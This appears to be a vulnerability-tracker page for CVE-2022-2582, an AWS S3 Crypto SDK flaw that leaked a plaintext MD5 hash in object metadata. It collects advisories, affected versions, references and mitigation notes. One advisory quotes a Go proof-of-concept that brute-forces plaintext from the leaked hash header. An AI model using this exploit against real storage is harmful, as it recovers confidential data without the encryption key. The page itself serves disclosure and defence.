CVE-2022-2582
mediumpriority · track · 17EPSS 0.005 · 44 %ileEUUSEPSS · scored 2026-10-28
The AWS S3 Crypto SDK sends an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext, if the hash is readable to the attacker. AWS now blocks this metadata field, but older SDK versions still send it.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
- amazon aws software development kit< 1.34.0nvdUScpe:2.3:a:amazon:aws_software_development_kit:*:*:*:*:*:*:*:*
advisories (3)
Vendor and ecosystem advisories describing this.
- GHSA-6jvc-q2x7-pchvAWS S3 Crypto SDK sends an unencrypted hash of the plaintext alongside the ciphertext as a metadata field2022-12-28ghsa · osvUS
The AWS S3 Crypto SDK sends an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext, if the hash is readable to the attacker. AWS now blocks this metadata field, but older SDK versions still send it.
- GHSA-76wf-9vgp-pj7wDuplicate Advisory: Unencrypted md5 plaintext hash in metadata in AWS S3 Crypto SDK for golang2022-02-11ghsa · osvUS
## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-6jvc-q2x7-pchv. This link is maintained to preserve external references. ## Original Description ### Summary The golang AWS S3 Crypto SDK was impacted by an issue that can result in loss of confidentiality. An attacker with read access to an encrypted S3 bucket was able to recover the plaintext without accessing the encryption key. ### Specific Go Packages Affected github.com/aws/aws-sdk-go/service/s3/s3crypto ### Risk/Severity The vulnerability poses insider risks/privilege escalation risks, circumventing KMS controls for stored data. ### Impact The issue has been fully mitigated by AWS as of Aug. 5th by disallowing the header in question. The S3 crypto library tries to store an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext in an offline attack, if the hash is readable to the attacker. In order to be impacted by this issue, the attacker has to be able to guess the plaintext as a whole. The attack is theoretically valid if the plaintext entropy is below the key size, i.e. if it is easier to brute force the plaintext instead of the key itself, but practically feasible only for short plaintexts or plaintexts otherwise accessible to the attacker in order to create a rainbow table. The issue has been fixed server-side by AWS as of Aug 5th, by blocking the related metadata field. No S3 objects are affected anymore. ### Mitigation The header in question is no longer served by AWS, making this attack fully mitigated as of Aug. 5th. ### Proof of concept A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository, this particular issue can be found at [here](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/hash_exploit.go): ```golang func HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) { _, header, err := input.S3Mock.GetObjectDirect(bucket, key) length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length")) plaintextMd5 := header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Md5") blocks := length / 16 possiblePlaintextNum := 1 segNum := len(input.PossiblePlaintextSegments) for i := 0; i < blocks; i++ { possiblePlaintextNum *= segNum } for i := 0; i < possiblePlaintextNum; i++ { w := i guess := "" for j := 0; j < blocks; j++ { guess += input.PossiblePlaintextSegments[w%segNum] w /= segNum } guessMd5 := md5.Sum([]byte(guess)) if plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) { return guess, nil } } return "", fmt.Errorf("No plaintext found!") } ``` The PoC will only work on old versions of the library, as the hash has been removed from being calculated as well.
- GO-2022-0391Exposure of unencrypted plaintext hash in github.com/aws/aws-sdk-go2022-07-01vendor · osvUS
The AWS S3 Crypto SDK sends an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext, if the hash is readable to the attacker. AWS now blocks this metadata field, but older SDK versions still send it.
also known as (6)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (8)
External citations — patches, advisories, analysis.
- https://cxsecurity.com/cveshow/CVE-2022-2582/cnnvd
- https://github.com/aws/aws-sdk-go/Patchcnnvd
- https://github.com/aws/aws-sdk-go/commit/35fa6ddf45c061e0f08d3a3b5119f8f4da38f6d1cnnvd
- https://pkg.go.dev/vuln/GO-2022-0391cnnvd
- https://github.com/aws/aws-sdk-go/commit/35fa6ddf45c061e0f08d3a3b5119f8f4da38f6d1enisa_euvd
- https://pkg.go.dev/vuln/GO-2022-0391enisa_euvd
- https://github.com/aws/aws-sdk-go/commit/35fa6ddf45c061e0f08d3a3b5119f8f4da38f6d1PatchThird Party Advisorynvd
- https://pkg.go.dev/vuln/GO-2022-0391ExploitPatchThird Party Advisorynvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan